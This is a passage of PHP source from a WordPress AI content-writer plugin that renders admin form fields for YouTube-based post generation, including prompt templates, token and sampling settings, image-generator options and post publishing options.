selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI tag generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Post Tag Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[tag_ai_command][]" placeholder="Write a comma separated list of tags, for the post title: %%post_title%%" class="cr_width_full">' . esc_textarea($tag_ai_command) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the post tags that you want for the automatically generated posts to have. Spintax supported.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Additional Post Tags", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input class="cr_width_full" type="text" name="aiomatic_youtube_list[default_tags][]" value="' . esc_attr($default_tags) . '" placeholder="Please insert your additional post tags here" > </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Advanced AI Text Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Total Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_youtube_list[max_tokens][]" value="' . esc_attr($max_tokens) . '" placeholder="2048" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Prompt Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_youtube_list[max_seed_tokens][]" value="' . esc_attr($max_seed_tokens) . '" placeholder="1000" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Continue Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_youtube_list[max_continue_tokens][]" value="' . esc_attr($max_continue_tokens) . '" placeholder="500" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Temperature", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_youtube_list[temperature][]" value="' . esc_attr($temperature) . '" placeholder="1" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Top_p", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="0.01" max="1" name="aiomatic_youtube_list[top_p][]" value="' . esc_attr($top_p) . '" placeholder="1" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Presence Penalty", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="-2" max="2" step="0.01" name="aiomatic_youtube_list[presence_penalty][]" value="' . esc_attr($presence_penalty) . '" placeholder="0" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Frequency Penalty", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_youtube_list[frequency_penalty][]" value="' . esc_attr($frequency_penalty) . '" placeholder="0" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Image Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin\'s \'Settings\' menu -> \'Royalty Free Featured Image Importing Options\' section.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Set A Featured Image For Posts (Select Source Below)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" name="aiomatic_youtube_list[royalty_free][]" class="cr_width_full"> <option value="0"'; if ($royalty_free == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($royalty_free == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Image From Below Selector", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="2"'; if ($royalty_free == '2') { $output .= ' selected'; } $output .= '>' . esc_html__("YouTube Video Thumbnail", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Search Query Repetition", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" name="aiomatic_youtube_list[search_query_repetition][]" class="cr_width_full"> <option value="0"'; if ($search_query_repetition == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($search_query_repetition == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Image Source", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select id="enable_ai_images' . esc_html($cont) . '" autocomplete="off" onchange="hideImage(' . esc_html($cont) . ');" name="aiomatic_youtube_list[enable_ai_images][]" class="cr_width_full"> <option value="0"'; if ($enable_ai_images == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($enable_ai_images == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="2"'; if ($enable_ai_images == '2') { $output .= ' selected'; } $output .= '>' . esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="4"'; if ($enable_ai_images == '4') { $output .= ' selected'; } $output .= '>' . esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="3"'; if ($enable_ai_images == '3') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hideImg' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Image Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[ai_command_image][]" placeholder="Please insert a command for the AI image generator" class="cr_width_full">' . esc_textarea($ai_command_image) . '</textarea> </div> </td></tr> <tr class="hideDalle' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Image Model", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[image_model][]" class="cr_width_full"> <option value="dalle2"'; if ($image_model == 'dalle2') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="dalle3"'; if ($image_model == 'dalle3') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="dalle3hd"'; if ($image_model == 'dalle3hd') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hideImg' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Image Size", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[image_size][]" class="cr_width_full"> <option value="256x256"'; if ($image_size == '256x256') { $output .= ' selected'; } $output .= '>' . esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="512x512"'; if ($image_size == '512x512') { $output .= ' selected'; } $output .= '>' . esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1024x1024"'; if ($image_size == '1024x1024') { $output .= ' selected'; } $output .= '>' . esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1792x1024"'; if ($image_size == '1792x1024') { $output .= ' selected'; } $output .= '>' . esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1024x1792"'; if ($image_size == '1024x1792') { $output .= ' selected'; } $output .= '>' . esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Default Featured Image List", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_60p" name="aiomatic_youtube_list[image_url][]" placeholder="Please insert the link to a valid image (spintax supported)">' . esc_textarea($image_url) . '</textarea> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Posting Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("HTML Text To Prepend To AI Created Content", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[post_prepend][]" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full">' . esc_textarea($post_prepend) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("HTML Text To Append To AI Created Content", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[post_append][]" placeholder="HTML content to append to the AI generated content" class="cr_width_full">' . esc_textarea($post_append) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Custom Shortcode Creator (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b><span class="tool" data-tip="Supported models: ' . implode(',', aiomatic_get_all_models()) . '"> ⓘ</span> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[custom_shortcodes][]" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="cr_width_full">' . esc_textarea($custom_shortcodes) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Strip Title From Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="strip_title" name="aiomatic_youtube_list[strip_title][]"'; if($strip_title == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Spin Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_spin" name="aiomatic_youtube_list[skip_spin][]"'; if($skip_spin == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Translate Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_translate" name="aiomatic_youtube_list[skip_translate][]"'; if($skip_translate == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Process Each Title/Video Only Once", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="title_once" name="aiomatic_youtube_list[title_once][]"'; if($title_once == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Overwrite Existing Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="overwrite_existing" name="aiomatic_youtube_list[overwrite_existing][]"'; if($overwrite_existing == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to process added YouTube videos in order of entry or in random order.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Process Videos In Order Of Entry", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="no_random" name="aiomatic_youtube_list[no_random][]"'; if($no_random == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_youtube_list[strip_by_regex][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Content)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_youtube_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Author", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_youtube_list[post_author][]" class="cr_width_full">'; $output .= '<option value="rand"'; if ($post_user_name == "rand") { $output .= " selected"; } $output .= '>' . esc_html__("Random user", 'aiomatic-automatic-ai-content-writer') . '</option>'; $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { $output .= '<option value="' . esc_html($user->ID) . '"'; if ($post_user_name == $user->ID) { $output .= " selected"; } $output .= '>' . esc_html($user->display_name) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Status", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_youtube_list[submit_status][]" class="cr_width_full"> <option value="pending"'; if ($status == 'pending') { $output .= ' selected'; } $output .= '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if ($status == 'draft') { $output .= ' selected'; } $output .= '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="publish"'; if ($status == 'publish') { $output .= ' selected'; } $output .= '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if ($status == 'private') { $output .= ' selected'; } $output .= '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if ($status == 'trash') { $output .= ' selected'; } $output .= '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Item Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_youtube_list[default_type][]" class="cr_width_full">'; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } $output .= '<option value="' . esc_attr($post_type) . '"'; if ($def_type == $post_type) { $output .= ' selected'; } $output .= '>' . esc_html($post_type) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__('If your template supports "Post Formats", than you can select one here. If not, leave this at it\'s default value.', 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Post Format", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" id="post_format" name="aiomatic_youtube_list[post_format][]" class="cr_width_full"> <option value="post-format-standard"'; if ($post_format == 'post-format-standard') { $output .= ' selected'; } $output .= '>' . esc_html__("Standard", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-aside"'; if ($post_format == 'post-format-aside') { $output .= ' selected'; } $output .= '>' . esc_html__("Aside", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-gallery"'; if ($post_format == 'post-format-gallery') { $output .= ' selected'; } $output .= '>' . esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-link"'; if ($post_format == 'post-format-link') { $output .= ' selected'; } $output .= '>' . esc_html__("Link", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-image"'; if ($post_format == 'post-format-image') { $output .= ' selected'; } $output .= '>' . esc_html__("Image", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-quote"'; if ($post_format == 'post-format-quote') { $output .= ' selected'; } $output .= '>' . esc_html__("Quote", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-status"'; if ($post_format == 'post-format-status') { $output .= ' selected'; } $output .= '>' . esc_html__("Status", 'aiomatic-automatic-ai-content-writer') . '</option> 